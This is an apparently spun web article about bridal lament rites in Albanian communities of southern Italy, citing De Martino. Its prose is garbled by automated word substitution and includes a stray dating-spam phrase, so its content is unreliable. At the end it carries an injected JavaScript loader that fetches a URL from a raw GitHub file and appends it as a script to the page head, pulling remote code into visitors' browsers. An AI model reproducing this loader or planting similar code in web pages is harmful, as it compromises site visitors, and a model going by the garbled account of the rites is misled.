Ernesto De- ent during the southern area Italy (and especially for the Basilicata; find De- Martino 1958, Magrini 1994) discusses characteristics of the funeral lament which might be completely mutual because of the the brand new whining of your fiance chatted about here. These include:
- stereotyped poetic formulae
- the current presence of refrains
- the new personalization of your lament from admission of the term of your own dry and you can from the presence of explicit references to a particular process of mourning
- the existence of professional mourners
- the brand new defensive reason for the beat of the vocal and you may swaying.
Along with, their particular lead is included with a red-colored veil
Predicated on De ents into the bride’s departure on adult family got, at the time he was composing, vanished for a time in the Basilicata; however, one could find lines from it “regarding Albanian territories of Calabro-Lucanian urban area” (1975: 78). Within the initial phases, it is likely that so it routine try particularly popular regarding Albanian colonies, if you don’t private on them, considering the benefits it takes on on nuptial rites inside parts where Albanian language was spoken, and Albanian social variations are.
Their unique light clothes, after that, changes the new red otherwise bluish one to, treffit Belgia-naiset and this she wears to your lamenting
Regarding nuptial rites brand new tambourine is not just familiar with match the sobbing of bride-to-be, but inaddition it becomes understood together with her throughout the entire ceremony. Into the night of the whining, brand new girl is actually dressed having a white dress immediately after leaving brand new imprint away from their own give (dyed that have henna) towards a bath towel, that is hung-up for a time in the house of your bridegroom. Then she is followed outside of the doorway of the home: here the bride’s last effectiveness leaving her dad’s home is ritually damaged: she grasps the newest jambs of one’s home, it is drawn aside from the their particular household members.
Then same loved ones, ahead of the domestic, afin de a great casket away from sweets more than their unique direct, that your pair have a tendency to eat regarding nuptial bedroom. About avoid of weeping service the newest fiance, their unique attention paid down, for the rigid quiet, assumes on a personality away from awkward set aside which regularly glides towards the good condition of partial-hypnotic trance, due to the long crying rite. Then, and you will during the every ceremonies, at practically typical menstruation, she runs with her hands a beneficial tremulous motion away from goodbye.
An identical motion continue to be frequent for many weeks following matrimony because a welcome to any or all folk whom become toward bridegroom’s household. Adopting the shower from chocolate a dance occur, that your female of your family unit members start; the best choice brandishes good ceremonial tambourine. This is exactly a device coated reddish and you may decorated having plants and you may leaves. It is not starred, but is made use of adopting the consummation of one’s relationships to create the sheets stained with bloodstream.
However prior to the house, a separate dance takes place, where the fiance along with her father moving together, crying. The fresh open-air dances are not followed closely by brand new tambourine, however, by the an expert most of the-men band, and therefore today basically includes electronic guitar, keyboards having really tight walls, saxophone, banjo (jembush), and periodically plus drums and you may bass electric guitar. At the conclusion of a day out-of collective dancing and you will feasting new procession shaped by the friends of one’s groom happens bring brand new fiance to his home. While they hop out the brand new community he or she is dropped by the father of your own bride who asks their daughter’s father- in-law: “where could you be choosing my personal d providing her given that a bride-to-be to possess my young buck”. The new bride’s father up to now pronounces the words hence sanction this new accomplished matrimony offer: “Today my daughter is your flesh, whether or not she remains my personal blood “. That it terminology underlines the efficacy of the father so you can intervene within the rather have off their daughter whenever the woman is not addressed with owed value, and even to take their own right back if the he thinks it necessary. What’s more, it anxieties this new anticipate away from a patrilineal and you may patrilocal treaty: the fresh dily, which have just who she’ll alive also to who she’s going to bear sons.
(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)